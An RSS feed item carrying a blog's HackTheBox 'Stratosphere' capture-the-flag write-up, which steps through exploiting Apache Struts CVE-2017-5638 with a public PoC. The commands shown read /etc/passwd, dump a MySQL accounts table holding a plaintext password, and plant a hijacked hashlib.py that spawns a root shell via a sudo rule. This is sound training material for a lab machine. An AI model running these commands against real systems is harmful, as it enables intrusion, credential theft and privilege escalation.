<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>python Archives -</title>
	<atom:link href="https://barriersec.com/tag/python/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/python/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:17:54 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>python Archives -</title>
	<link>https://barriersec.com/tag/python/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>HackTheBox &#8211; Stratosphere Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 01 Sep 2018 20:38:52 +0000</pubDate>
				<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[Stratosphere]]></category>
		<category><![CDATA[boot2root]]></category>
		<category><![CDATA[capturetheflag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[library hijacking]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[stratosphere]]></category>
		<category><![CDATA[struts RCE]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=139</guid>

					<description><![CDATA[<p>Hi All, Stratopshere machine  retired today on hackthebox Andddddddd YES! I will explain how I solved Stratosphere box on Hackthebox &#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/">HackTheBox &#8211; Stratosphere Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: left;">Hi All, Stratopshere machine  retired today on hackthebox Andddddddd YES! I will explain how I solved Stratosphere box on Hackthebox  . This was  a medium difficulty level box and one of the interesting box that has a nice privilege escalation technique.</p>
<p>check out hackthebox for upskilling your pentest game : <a href="https://www.hackthebox.eu/">https://www.hackthebox.eu/</a></p>
<p>lets begin with basic <strong>nmap</strong> scan.</p>
<p>&nbsp;</p>
<p><strong>root@kali:~# nmap -sC -sV 10.10.10.64 -T4</strong></p>
<p><strong>Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-31 21:57 IST</strong><br />
<strong>Nmap scan report for 10.10.10.64</strong><br />
<strong>Host is up (0.19s latency).</strong><br />
<strong>Not shown: 997 filtered ports</strong><br />
<strong>PORT STATE SERVICE VERSION</strong><br />
<strong>22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)</strong><br />
<strong>| ssh-hostkey: </strong><br />
<strong>| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)</strong><br />
<strong>| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)</strong><br />
<strong>|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (EdDSA)</strong><br />
<strong>80/tcp open http</strong></p>
<p>from nmap scan , we have three ports open , out of which, port 80 and 22 is notable. It is feasible to start our enumeration from the web  port 80 .</p>
<p>From the dirbuster bruteforce , we find out that there is hidden site hosted at <strong>http://10.10.10.64/Monitoring/<br />
</strong></p>
<p>After a quick enumeration it is found out that , site is built using struts , and also vulnerable to <strong><span class="col-11 text-gray-dark mr-2">Apache Struts CVE-2017-5638</span></strong><span class="col-11 text-gray-dark mr-2">.</span></p>
<p>POC can be found here :  <a href="https://github.com/mazen160/struts-pwn">https://github.com/mazen160/struts-pwn</a></p>
<p>we can get the code execution by executing the POC file as follows.</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;cat /etc/passwd&#8217;</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p>from <strong>/etc/passwd</strong> file, we get the user named &#8216;<strong>richard</strong>&#8216; active on the machine</p>
<p>similarly it is found that it is running mysql with credentials <strong>&#8216;admin&#8217;/&#8217;admin&#8217; </strong>from a file named <strong>db_connect</strong> . but since mysql is not exposed to the public, we have to rely on our previously found RCE to execute sql commands. this can be done as follows :</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;mysql -u admin -padmin users -e &#8220;show tables;&#8221;&#8216;</strong></p>
<p>from dumping tables , we find a table named &#8216;<strong>accounts</strong>&#8216; .</p>
<p>further dumping data from accounts table reveals certain credentials ,</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;mysql -u admin -padmin users -e &#8220;select * from accounts;&#8221;&#8216;</strong></p>
<p><em><strong>fullName                       password                                                             username</strong></em><br />
<strong>Richard F. Smith   9tc*rhKuG5TyXvUJOrE^5CK7k     richard</strong></p>
<p>These credentials can be used to connect through<strong> SSH on port 22</strong>. this gives us the user flag.</p>
<p><strong>richard@stratosphere:~$ ls</strong><br />
<strong>Desktop             hashlib.py        __pycache__ test.py          user.txt</strong></p>
<p>&nbsp;</p>
<p>by quick enumeration , it is found out richard can execute few commands as root:</p>
<p><strong>richard@stratosphere:~$ sudo -l</strong><br />
Matching Defaults entries for richard on stratosphere:<br />
env_reset, mail_badpass,<br />
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</p>
<p>User richard may run the following commands on stratosphere:<br />
<strong>(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py</strong></p>
<p>and also , quick analysis of source code from test.py reveals, it is using hashlib library.</p>
<p><strong>#!/usr/bin/python3</strong><br />
<strong>import hashlib</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>we can use a classic python priv esc <strong>library hijacking</strong> technique , where we can exploit how python looks for the imported libraries .</p>
<p>Since we have write permission to the working directory of the privileged python file. we can create a file named <strong>&#8216;hashlib.py&#8217;</strong> with our custom code..  this makes python parser to look at our created file instead of the actual library file intended.</p>
<p>create a file named<strong> &#8216;hashlib.py&#8217;</strong> in the same directory where <strong>&#8216;test.py&#8217;</strong> is present with following content to display contents of  root.txt file and spawn a root shell.(more on this priv esc technique: <a href="https://rastating.github.io/privilege-escalation-via-python-library-hijacking/">https://rastating.github.io/privilege-escalation-via-python-library-hijacking/</a>)</p>
<p><strong>import os</strong><br />
<strong>import pty</strong><br />
<strong>os.system(&#8216;cat /root/root.txt&#8217;)</strong><br />
<strong>pty.spawn(&#8220;/bin/sh&#8221;)</strong></p>
<p>now lets execute the following command to gain <strong>ROOT</strong>!</p>
<p><strong>richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.py</strong></p>
<p><strong>#</strong></p>
<p>Thank you. stay tuned for the next write up!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/">HackTheBox &#8211; Stratosphere Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
